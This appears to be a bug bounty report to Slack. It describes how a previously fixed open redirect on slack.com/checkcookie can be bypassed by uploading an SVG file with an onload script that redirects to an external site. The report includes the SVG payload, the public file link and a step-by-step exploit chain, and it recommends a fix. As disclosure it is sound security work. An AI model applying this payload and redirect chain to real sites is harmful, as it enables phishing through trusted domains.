How it was found

this trick make all fixed open redirect links vulnerable again in this resolved report "https://hackerone.com/reports/2622" before fixing this link "https://slack.com/checkcookie?redir=http://www.example.com" redirect victim to "http://www.example.com"

after fixing this link "https://slack.com/checkcookie?redir=http://www.example.com" only redirect to "https://www.slack.com/" or "https://subdomain.slack.com/"

the trick

1- use slack account to upload .svg file contain this code <code>

<svg onload="window.location='http://www.example.com'" xmlns="http://www.w3.org/2000/svg"> </svg> </code>

2-make public link for svg file "https://files.slack.com/files-pri/T0E7QLVLL-F0G41EG2W/redirect.svg?pub_secret=7a6caed489"

3- complete link "https://slack.com/checkcookie?redir=https://files.slack.com/files-pri/T0E7QLVLL-F0G41EG2W/redirect.svg?pub_secret=7a6caed489"

4-when user click this link will redirect to "http://www.example.com"

in this accepted and Bounty report "https://hackerone.com/reports/2622" when user click this link "https://slack.com/checkcookie?redir=http://www.example.com" the result is redirect user to "http://www.example.com" in my report it's the same result

you should stop execute svg files and display its's code like HTML files